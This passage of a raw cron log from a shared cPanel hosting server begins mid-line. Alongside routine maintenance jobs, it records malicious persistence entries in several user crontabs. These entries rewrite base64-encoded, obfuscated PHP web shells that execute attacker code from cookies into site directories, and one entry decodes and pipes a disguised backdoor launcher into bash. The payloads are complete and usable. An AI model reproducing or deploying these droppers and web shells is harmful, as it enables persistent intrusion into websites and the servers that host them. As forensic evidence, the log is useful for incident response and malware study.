ZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:59:01 medusa CROND[3755]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:59:01 medusa CROND[3754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:59:01 medusa CROND[3758]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:59:01 medusa CROND[3759]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:59:01 medusa CROND[3761]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:59:01 medusa CROND[3762]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:59:01 medusa CROND[3763]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:59:01 medusa CROND[3764]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:59:01 medusa CROND[3775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:59:01 medusa CROND[3779]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:59:01 medusa CROND[3787]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:00:01 medusa CROND[28472]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:00:02 medusa CROND[28658]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:00:02 medusa CROND[28659]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:00:02 medusa CROND[28660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 15:00:02 medusa CROND[28661]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:00:02 medusa CROND[28664]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28665]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:00:02 medusa CROND[28663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:00:02 medusa CROND[28673]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:00:02 medusa CROND[28678]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:00:02 medusa CROND[28680]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:00:02 medusa CROND[28690]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28691]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:00:02 medusa CROND[28689]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28695]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 15:00:02 medusa CROND[28696]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:00:02 medusa CROND[28699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28701]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:00:02 medusa CROND[28702]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:00:02 medusa CROND[28703]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:00:02 medusa CROND[28675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28676]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28697]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:00:02 medusa CROND[28713]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28715]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 15:00:02 medusa CROND[28716]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 15:00:02 medusa CROND[28700]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28710]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 15:00:02 medusa CROND[28722]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28728]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:00:02 medusa CROND[28729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 15:00:02 medusa CROND[28717]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 15:00:02 medusa CROND[28732]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28731]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 15:00:02 medusa CROND[28735]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:00:02 medusa CROND[28677]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 15:00:02 medusa CROND[28750]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 15:01:01 medusa CROND[21192]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:01:01 medusa CROND[21244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:01:01 medusa CROND[21290]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:01:01 medusa CROND[21348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:01:01 medusa CROND[21349]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:01:01 medusa CROND[21351]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
